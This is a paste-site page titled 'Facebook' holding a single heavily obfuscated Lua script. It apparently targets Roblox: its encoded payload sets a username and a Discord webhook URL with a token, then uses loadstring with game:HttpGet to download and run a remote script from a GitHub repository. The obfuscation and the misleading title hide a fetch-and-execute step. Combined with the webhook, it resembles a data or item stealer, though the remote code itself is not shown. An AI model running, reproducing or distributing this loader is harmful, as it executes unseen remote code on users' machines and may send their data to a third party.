Facebook
From sex, 1 Year ago, written in Lua.
Embed
Download Paste or View Raw
Hits: 128
  1. do local v0=0;local v1;local v2;local v3;local v4;local v5;local v6;local v7;local v8;local v9;local v10;local v11;local v12;local v13;local v14;local v15;while true do if (v0==3) then v10=setmetatable;v11=pcall;v12=select;v0=4;end if (v0==0) then v1=tonumber;v2=string.byte;v3=string.char;v0=1;end if (v0==5) then function v15(v16,v17)local v18=1;local v19;v16=v5(v4(v16,5),"..",function(v30)if (v2(v30,2)==79) then local v63=0;while true do if (v63==0) then v19=v1(v4(v30,1,1));return "";end end else local v64=v3(v1(v30,16));if v19 then local v75=v6(v64,v19);v19=nil;return v75;else return v64;end end end);local function v20(v31,v32,v33)if v33 then local v65=(v31/((5 -3)^(v32-(1754 -(1402 + 351)))))%(((2 -1) + 1)^(((v33-(512 -(251 + 260))) -(v32-(1 -(0 -0)))) + 1 + 0));return v65-(v65%1);else local v66=0 + 0;local v67;while true do if (v66==(0 -0)) then v67=2^(v32-1);return (((v31%(v67 + v67))>=v67) and (1 + 0)) or (1433 -(889 + 544));end end end end local function v21()local v38=0 -(0 + 0);local v39;while true do if (v38==(0 -0)) then v39=v2(v16,v18,v18);v18=v18 + 1 + 0;v38=2 -(1447 -(647 + 799));end if (v38==(1 + 0)) then return v39;end end end local function v22()local v40,v41=v2(v16,v18,v18 + (5 -3));v18=v18 + (2 -0);return (v41 * (1207 -951)) + v40;end local function v23()local v42,v43,v44,v45=v2(v16,v18,v18 + (395 -(257 + 135)));v18=v18 + (480 -(268 + 208));return (v45 * 16777216) + (v44 * ((227528 -(959 + 299)) -160734)) + (v43 * (156 + 100)) + v42;end local function v24()local v46=v23();local v47=v23();return (( -(1605 -(964 + 639)) * v20(v47,(56 + 6) -30)) + ((85 + 1) -(14 + 71))) * ((1899 -(163 + 1734))^(v20(v47,21,26 + 5) -((1339 + 0) -316))) * ((((v20(v47,1 + 0,1838 -(296 + 1522)) * (2^(22 + 10))) + v46)/((2 + 0)^(52 + 0))) + 1 + 0);end local function v25(v34)local v48;if  not v34 then local v68=1021 -(384 + 637);while true do if (v68==(0 -0)) then v34=v23();if (v34==(0 -0)) then return "";end break;end end end v48=v4(v16,v18,(v18 + v34) -(2 -1));v18=v18 + v34;local v49={};for v61=1 + 0, #v48 do v49[v61]=v3(v2(v4(v48,v61,v61)));end return v7(v49);end local v26=v23;local function v27(...)return {...},v12("#",...);end local function v28()local v50=0 + 0;local v51;local v52;local v53;local v54;local v55;local v56;local v57;while true do if (v50~=(0 -0)) then else v51=1080 -(534 + 546);v52=nil;v50=1 + 0;end if (v50==3) then v57=nil;while true do if (v51~=(0 + 0)) then else local v76=0 + 0;while true do if (v76~=(864 -(718 + 146))) then else local v95=0;while true do if (v95~=1) then else v76=1;break;end if (v95==0) then v52={};v53={};v95=1 -0;end end end if (v76==(2 + 0)) then v51=2 -1;break;end if (v76==1) then v54={};v55={v52,v53,nil,v54};v76=49 -(29 + 18);end end end if (v51~=(1 + 0)) then else local v77=0 + 0;while true do if ((1 -0)==v77) then for v97=1,v56 do local v98=0;local v99;local v100;local v101;local v102;local v103;while true do if ((1 + 0)==v98) then v101=nil;v102=nil;v98=2;end if (v98~=2) then else v103=nil;while true do if ((1378 -(1253 + 123))~=v99) then else while true do if (v100==(0 -0)) then local v117=1154 -(748 + 406);while true do if (v117~=(3 -2)) then else v100=1 + 0;break;end if (v117~=(0 + 0)) then else v101=441 -(192 + 249);v102=nil;v117=2 -1;end end end if (v100~=1) then else v103=nil;while true do if (v101==(1472 -(362 + 1110))) then local v124=0 -0;local v125;local v126;while true do if (v124~=(1 + 0)) then else while true do if ((1698 -(265 + 1433))==v125) then v126=218 -(75 + 143);while true do if (v126~=(945 -(185 + 760))) then else local v157=1603 -(51 + 1552);while true do if (v157==1) then v126=1;break;end if (v157~=(0 -0)) then else v102=v21();v103=nil;v157=1243 -(667 + 575);end end end if (v126~=(1 + 0)) then else v101=1 + 0;break;end end break;end end break;end if ((0 -0)==v124) then v125=0;v126=nil;v124=1;end end end if ((1 + 0)==v101) then if (v102==(1952 -(367 + 1584))) then v103=v21()~=(1655 -(762 + 893));elseif (v102==(759 -(215 + 542))) then v103=v24();elseif (v102~=3) then else v103=v25();end v57[v97]=v103;break;end end break;end end break;end if (v99==0) then v100=0 + 0;v101=nil;v99=1 + 0;end if (v99~=1) then else local v108=0;while true do if (v108~=(1655 -(1008 + 647))) then else v102=nil;v103=nil;v108=1 + 0;end if (v108~=(1 + 0)) then else v99=8 -6;break;end end end end break;end if ((257 -(109 + 148))==v98) then v99=1984 -(257 + 1727);v100=nil;v98=1879 -(1678 + 200);end end end v55[418 -(7 + 408)]=v21();v77=2;end if (v77==(5 -3)) then v51=3 -1;break;end if (v77==(0 -0)) then v56=v23();v57={};v77=1 + 0;end end end if (v51~=2) then else local v78=1892 -(951 + 941);local v79;while true do if (v78==(0 + 0)) then v79=0;while true do if ((1 + 0)==v79) then local v106=1675 -(456 + 1219);while true do if (v106==0) then for v109=477 -(153 + 323),v23() do v54[v109]=v23();end return v55;end end end if (v79==(0 + 0)) then local v107=0;while true do if (v107==0) then for v111=2 -1,v23() do local v112=0;local v113;local v114;while true do if (v112==(0 -0)) then v113=0 + 0;v114=nil;v112=1;end if (v112~=(1976 -(396 + 1579))) then else while true do if (v113~=(0 -0)) then else v114=v21();if (v20(v114,1871 -(793 + 1077),1)==(0 + 0)) then local v139=0 + 0;local v140;local v141;local v142;local v143;while true do if ((1 -0)~=v139) then else v142=nil;v143=nil;v139=392 -(37 + 353);end if (v139==2) then while true do if (v140==(3 -0)) then if (v20(v142,1 + 2,3)==(1 -0)) then v143[5 -1]=v57[v143[16 -12]];end v52[v111]=v143;break;end if (v140~=0) then else local v153=0 + 0;while true do if (v153==(279 -(130 + 149))) then v141=v20(v114,1 + 1,3);v142=v20(v114,11 -7,738 -(664 + 68));v153=1 + 0;end if (v153==(1 -0)) then v140=1 -0;break;end end end if (v140==(2 -1)) then local v154=1660 -(314 + 1346);local v155;while true do if (v154==(915 -(817 + 98))) then v155=0 -0;while true do if (v155==0) then v143={v22(),v22(),nil,nil};if (v141==(0 -0)) then local v162=0 -0;while true do if (v162==(0 -0)) then v143[10 -7]=v22();v143[4]=v22();break;end end elseif (v141==(2 -1)) then v143[213 -(41 + 169)]=v23();elseif (v141==(3 -1)) then v143[3]=v23() -((2 + 0)^16);elseif (v141==3) then local v167=0 + 0;local v168;local v169;while true do if (v167==(0 + 0)) then v168=0;v169=nil;v167=1;end if (v167==(3 -2)) then while true do if (v168==(1549 -(99 + 1450))) then v169=0 + 0;while true do if (v169~=(0 + 0)) then else v143[6 -3]=v23() -(2^(4 + 12));v143[2 + 2]=v22();break;end end break;end end break;end end end v155=1 -0;end if (v155==(128 -(39 + 88))) then v140=1826 -(1211 + 613);break;end end break;end end end if (v140~=(64 -(5 + 57))) then else local v156=0 -0;while true do if (v156==1) then v140=3 + 0;break;end if (v156==(0 -0)) then if (v20(v142,3 -2,1450 -(1159 + 290))==(1 + 0)) then v143[2]=v57[v143[203 -(30 + 171)]];end if (v20(v142,1345 -(508 + 835),2 + 0)~=(3 -2)) then else v143[6 -3]=v57[v143[1541 -(288 + 1250)]];end v156=1;end end end end break;end if (v139==0) then v140=0;v141=nil;v139=1;end end end break;end end break;end end end for v115=3 -2,v23() do v53[v115-(2 -1)]=v28();end v107=1;end if (v107==(2 -1)) then v79=1 + 0;break;end end end end break;end end end end break;end if (v50==1) then v53=nil;v54=nil;v50=1 + 1;end if (v50~=2) then else v55=nil;v56=nil;v50=2 + 1;end end end local function v29(v35,v36,v37)local v58=v35[1];local v59=v35[2];local v60=v35[3];return function(...)local v69=0;local v70;local v71;local v72;local v73;local v74;while true do if (v69==3) then A,B=v27(v11(v74));if  not A[1] then local v80=v35[4][v70] or "?";error("Script error at ["   .. v80   .. "]:"   .. A[2]);else return v13(A,2,B);end break;end if (v69==2) then v74=nil;function v74()local v81=v58;local v82=Const;local v83=v59;local v84=v60;local v85=v27;local v86={};local v87={};local v88={};for v92=0 + 0,v73 do if ((v92>=v84) or ((1606 -(452 + 1144))>=(4709 -2139))) then v86[v92-v84]=v72[v92 + (355 -(312 + 42))];else v88[v92]=v72[v92 + (98 -(5 + (1300 -(57 + 1151))))];end end local v89=(v73-v84) + 1 + 0;local v90;local v91;while true do local v93=23 -(13 + 10);local v94;while true do if (((5487 -((1780 -1270) + 288))>=(9 + 4664)) and (v93==(1285 -(357 + 928)))) then v94=1515 -(1221 + 294);while true do if (((1047 -(349 + 627 + 71))==v94) or (1752==(14133 -9762))) then v90=v81[v70];v91=v90[151 -(129 + 21)];v94=1 + 0 + 0;end if (((1786 + 1148)<=(1646 + 2473)) and (v94==1)) then if ((v91<=(2 + 2)) or (1123>=(2537 + 863))) then if (((295 + 4164)>=((183 + 856) -(180 + 249))) and (v91<=(1 + 0))) then if ((v91>0) or ((4970 -(1105 + 57))>=(1812 + 2143))) then local v118=428 -(347 + 81);local v119;local v120;local v121;while true do if (((1954 -((2369 -1753) + 1338))==v118) or (1874>=(5328 -(585 + 792)))) then v119=302 -(183 + 119);v120=nil;v118=1 + 0;end if ((v118==(1797 -(1093 + 703))) or ((78 + 84)>=((5208 -1582) -1064))) then v121=nil;while true do if (((2 -1)==v119) or ((4785 -1167)<=3561)) then while true do if (((1774 -(22 + 45))>(1010 -612)) and (v120==0)) then v121=v90[2 + 0 + 0];v88[v121]=v88[v121](v13(v88,v121 + (2 -1),v71));break;end end break;end if ((v119==((2205 -(426 + 782)) -(230 + 767))) or (3442==((10531 -(435 + 57)) -6874))) then local v145=0 -0;while true do if ((v145==(0 + 0 + 0)) or (4919<=4465)) then v120=0 -0;v121=nil;v145=1 + 0;end if (((436 + 2353)<(8440 -4193)) and ((667 -((1863 -(468 + 971)) + 242))==v145)) then v119=1 -0;break;end end end end break;end end else v88[v90[1490 -(939 + 549)]]=v37[v90[114 -(84 + 27)]];end elseif ((v91<=(2 + 0)) or ((6952 -2676)==3298)) then v88[v90[1638 -(1622 + 14)]]();elseif (((3677 + 1187)>=(540 + 429)) and (v91==(2 + 1))) then if ((4681>=(985 + 1834)) and (v88[v90[5 -3]]==v90[18 -14])) then v70=v70 + 1;else v70=v90[3 + 0];end else do return;end end elseif ((v91<=(7 + 0 + 0)) or ((5156 -3039)>(243 + 3270))) then if (((4947 -((2780 -1472) + 47))<3991) and (v91<=(6 -(1 + 0)))) then v88[v90[677 -(350 + 325)]]=v90[378 -(320 + 55)]~=(506 -(218 + 288));elseif (((5883 -(1102 + 336))<((7911 -(40 + 840)) -2396)) and (v91==(405 -(146 + 253)))) then local v128=0 -0;local v129;local v130;local v131;local v132;while true do if ((4264>=2111) and ((0 -0)==v128)) then v129=v90[1 + 1];v130,v131=v85(v88[v129](v13(v88,v129 + (1721 -(1567 + 153)),v90[8 -(928 -(170 + 753))])));v128=1 + 0;end if ((4396<=(632 + 4190)) and ((1 + 1)==v128)) then for v146=v129,v71 do local v147=(272 -(28 + 244)) + 0;local v148;while true do if ((((1446 + 167) -(120 + 906 + 587))==v147) or ((3164 -(60 + 534))<=(3211 -(707 + 447)))) then v148=0 + (0 -0);while true do if ((v148==((300 -(251 + 49)) + 0)) or ((1576 + 279)<(39 -(20 + 14)))) then v132=v132 + (1069 -(655 + 413));v88[v146]=v130[v132];break;end end break;end end end break;end if (((399 -(41 + 357))==v128) or ((5785 -3961)<1540)) then local v144=0;while true do if (((2239 -(264 + (1543 -(365 + 1087))))<=(3921 -(99 + 401))) and (v144==(0 + (0 -0)))) then v71=(v131 + v129) -1;v132=851 -(522 + 329);v144=1;end if (((4058 -(99 + 402))>(545 + 1288 + 1030)) and (v144==(1 + 0))) then v128=962 -(67 + 893);break;end end end end else local v133=0 -(1324 -(141 + 1183));local v134;local v135;local v136;while true do if ((1071==(2394 -1323)) and (v133==(0 + (0 -0)))) then v134=0 + 0;v135=nil;v133=1;end if ((3775>(4650 -1660)) and (v133==1)) then v136=nil;while true do if ((3493>(2524 -(222 + 586))) and (v134==(33 -(7 + 26)))) then v135=v90[7 -5];v136=v88[v90[987 -(422 + 562)]];v134=1;end if (((1431 -(1159 + 271))==v134) or ((460 + 2800)>(132 + 3148))) then v88[v135 + 1 + 0]=v136;v88[v135]=v136[v90[4]];break;end end break;end end end elseif ((v91<=8) or (809>=(4532 -2499))) then v70=v90[1 + 2];elseif (((870 -236)>(450 + 78)) and (v91>(1710 -(1096 + 605)))) then v88[v90[2 + 0]]=v90[3 + 0];else v37[v90[1 + 2]]=v88[v90[1036 -((1656 -(588 + 210)) + 176)]];end v70=v70 + 1;break;end end break;end end end end v69=3;end if (v69==1) then v72={...};v73=v12("#",...) -1;v69=2;end if (v69==0) then v70=1;v71= -1;v69=1;end end end;end return v29(v28(),{},v17)();end v15("LOL!0A3O00028O0003083O00557365724E616D6503083O0078416C696E416B6103073O00576562482O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F3130343735312O3438323832333430352O36312F647857796735784A5059416F315A6C7652733263446D34713438342O6C694E45434F474E377A663041645F70434D79726E71304D795477485242446962767530662D7168026O00F03F030A3O006C6F6164737472696E6703043O0067616D6503073O00482O747047657403403O00682O7470733A2O2F7261772E67697468756275736572636F6E74656E742E636F6D2F4861726447616D6553732F5053582F6D61696E2F5363726970742E6C756100153O00120A3O00013O0026033O0008000100010004083O0008000100120A000100033O001209000100023O00120A000100053O001209000100043O00120A3O00063O0026033O0001000100060004083O0001000100122O000100073O00122O000200083O00200700020002000900120A0004000A4O0005000500014O0006000200054O000100013O00022O00020001000100010004083O001400010004083O000100012O00043O00017O00153O00023O00043O00043O00053O00053O00063O00063O00073O00093O00093O000A3O000A3O000A3O000A3O000A3O000A3O000A3O000A3O000B3O000C3O000E3O00",v9());break;end if (v0==2) then v7=table.concat;v8=table.insert;v9=getfenv or function()return _ENV;end;v0=3;end if (v0==1) then v4=string.sub;v5=string.gsub;v6=string.rep;v0=2;end if (v0==4) then v13=unpack or table.unpack;v14=tonumber;v15=nil;v0=5;end end end